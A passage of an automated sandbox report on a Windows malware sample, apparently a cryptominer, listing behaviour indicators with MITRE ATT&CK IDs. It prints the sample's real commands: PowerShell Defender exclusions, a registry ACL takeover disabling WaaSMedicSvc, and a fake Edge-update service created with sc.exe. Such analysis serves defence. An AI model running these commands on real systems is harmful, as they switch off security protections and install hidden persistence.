\"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005432)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"CopyFileW\" to copy C:\\SecuriteInfo.com.Win64.Evo-gen.49237433.exe to new location %ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe (UID: 00000000-00004180)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$33","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\sc.exe\" delete \"MicrosoftEdgeUpdateTaskMachine_3aa5\"\" - (UID: 00000000-00004180)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\sc.exe\" create \"MicrosoftEdgeUpdateTaskMachine_3aa5\" binpath= \"%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\7\" - (UID: 00000000-00004180), \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\sc.exe\" start \"MicrosoftEdgeUpdateTaskMachine_3aa5\"\" - (UID: 00000000-00004180)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134311686968743459.5432.DefaultAppDomain.powershell\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134311689396524121.2720.DefaultAppDomain.powershell\" - (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"polygon-public.nodies.app\"\n \"polygon.lava.build\"\n \"px.ads.linkedin.com\"\n \"trc.taboola.com\"\n \"m.adnxs.com\"\n \"ib.adnxs.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"3.170.185.44:443\"\n \"172.64.146.215:443\"\n \"151.101.193.44:443\"\n \"104.254.150.241:443\"\n \"104.26.5.88:443\"\n \"104.18.25.75:443\"\n \"104.243.33.118:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"REGEDIT: CreateFile failed, GetLastError() = %d\" (Indicator: \"CreateFile\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$35","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpool\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolIo\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"REGEDIT: CreateFile failed, GetLastError() = %d\" (Indicator: \"GetLastError\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$36","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Creates multiple processes","description":"\"sc.exe\" created multiple process\n \"msedge.exe\" created multiple process","origin":"Monitored Target","mitre_attack_id":"T1106","relevance":1,"id":"target-719","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$37","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Detected NSLOOKUP utility activity","description":"Process \"nslookup.exe\" with commandline \"\" (UID: 00000000-00007684)","origin":"Monitored Target","mitre_attack_id":"T1016","relevance":3,"id":"target-270","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force\" (UID: 00000000-00005432)\n Process \"powershell.exe\" with commands \"$key='HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord\" (UID: 00000000-00002720)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \"px.ads.linkedin.com\" (Indicator: \"linkedin.com\"; File: \"PCAP\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134311686968743459.5432.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134311689396524121.2720.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$39","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$3a","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"msedge.exe\" (UID: 00000000-00000976)\n Launches browser \"msedge.exe\" (UID: 00000000-00000424)\n Launches browser \"msedge.exe\" (UID: 00000000-00004836)\n Launches browser \"msedge.exe\" (UID: 00000000-00007956)\n Launches browser \"msedge.exe\" (UID: 00000000-00006476)\n Launches browser \"msedge.exe\" (UID: 00000000-00007776)\n Launches browser \"msedge.exe\" (UID: 00000000-00006308)\n Launches browser \"msedge.exe\" (UID: 00000000-00005592)\n Launches browser \"msedge.exe\" (UID: 00000000-00008064)\n Launches browser \"msedge.exe\" (UID: 00000000-00004592)\n Launches browser \"msedge.exe\" (UID: 00000000-00008172)\n Launches browser \"msedge.exe\" (UID: 00000000-00003240)\n Launches browser \"msedge.exe\" (UID: 00000000-00002944)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at E95D0000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 63280000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 7C710000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 90A90000\n \"sc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 90A90000\n \"nslookup.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 90A90000\n \"nslookup.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 901E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 90A90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 901E0000\n \"reg.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 90A90000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 6BCE0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 93740000\n \"sc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 93740000\n \"nslookup.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 93740000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 93740000\n \"reg.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 93740000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c73d91f97f0000@ntdll.dll\"\n \"220023000000000018c73d91f97f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"LockAppHost14a02b.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"New-Object\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"New-Object\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has an executable section named \".text\"\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has an executable section named \".3p\"\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has an executable section named \".O.,\"\n \"LockAppHost14a02b.exe\" has an executable section named \".text\"\n \"LockAppHost14a02b.exe\" has an executable section named \".3p\"\n \"LockAppHost14a02b.exe\" has an executable section named \".O.,\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has an writable section named \".data\"\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has an writable section named \".*Fh\"\n \"LockAppHost14a02b.exe\" has an writable section named \".data\"\n \"LockAppHost14a02b.exe\" has an writable section named \".*Fh\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" file has an entrypoint instructions - \"call\t0x140595da3,syscall\t,push\tr12,mov\tqword ptr [rsp], 0x5fc722eb,call\t0x1408cfe16,shl\tbyte ptr [rsi + 0x73], cl,pop\trsi,push\t0xd9035d,xchg\tebx, eax,stc\t,\"\n \"LockAppHost14a02b.exe\" file has an entrypoint instructions - \"call\t0x140595da3,syscall\t,push\tr12,mov\tqword ptr [rsp], 0x5fc722eb,call\t0x1408cfe16,shl\tbyte ptr [rsi + 0x73], cl,pop\trsi,push\t0xd9035d,xchg\tebx, eax,stc\t,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".O.,\" is \"0x4fb200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".rdata\" is \"0x22e460\" greater than 0x100000\n Virtual size of \".3p\" is \"0x1aea80\" greater than 0x100000\n Virtual size of \".O.,\" is \"0x4fb120\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has high imagebase \"0x140000000\"\n \"LockAppHost14a02b.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\sc.exe\" [Source: 00000000-00004180-00000BC0-1750591651]\n Observed system executable string:\"\"%WINDIR%\\System32\\sc.exe\" delete \"MicrosoftEdgeUpdateTaskMachine_3aa5\"\" [Source: 00000000-00004180-00000C47-2434558455]\n Observed system executable string:\"\"%WINDIR%\\System32\\sc.exe\" create \"MicrosoftEdgeUpdateTaskMachine_3aa5\" binpath= \"%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\7\" [Source: 00000000-00004180-00000C47-14474961053], Observed system executable string:\"\"%WINDIR%\\System32\\sc.exe\" start \"MicrosoftEdgeUpdateTaskMachine_3aa5\"\" [Source: 00000000-00004180-00000C47-26511914989], Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005432-00000BC0-1765361532]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"edge-consumer-static.azureedge.net\"\n \"ib.adnxs.com\"\n \"m.adnxs.com\"\n \"polygon-public.nodies.app\"\n \"polygon.lava.build\"\n \"polygon.rpc.subquery.network\"\n \"pool.supportxmr.com\"\n \"px.ads.linkedin.com\"\n \"r.msftstatic.com\"\n \"sb.scorecardresearch.com\"\n \"trc.taboola.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$40","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$41","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$42","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Tries to copy files","description":"Process \"reg.exe\" with commandline \"copy \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\UsoSvc\" \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\zeamkxfprc\" /s /f\" (UID: 00000000-00006884)\n Process \"reg.exe\" with commandline \"copy \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WaaSMedicSvc\" \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\jnbxaolwwx\" /s /f\" (UID: 00000000-00007296)\n Process \"reg.exe\" with commandline \"copy \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\wuauserv\" \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\clinnowyyh\" /s /f\" (UID: 00000000-00001460)\n Process \"reg.exe\" with commandline \"copy \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\BITS\" \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\yirxajznxk\" /s /f\" (UID: 00000000-00007524)\n Process \"reg.exe\" with commandline \"copy \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\dosvc\" \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\dfnlrcnbcv\" /s /f\" (UID: 00000000-00007984)","origin":"Monitored Target","mitre_attack_id":"T1570","relevance":3,"id":"target-291","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_03ih1w12.vke.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_hpfjq3cb.cyy.psm1\"\n \"powershell.exe\" writes to a file \"%WINDIR%\\Temp\\__PSScriptPolicyTest_03ih1w12.vke.ps1\"\n \"powershell.exe\" writes to a 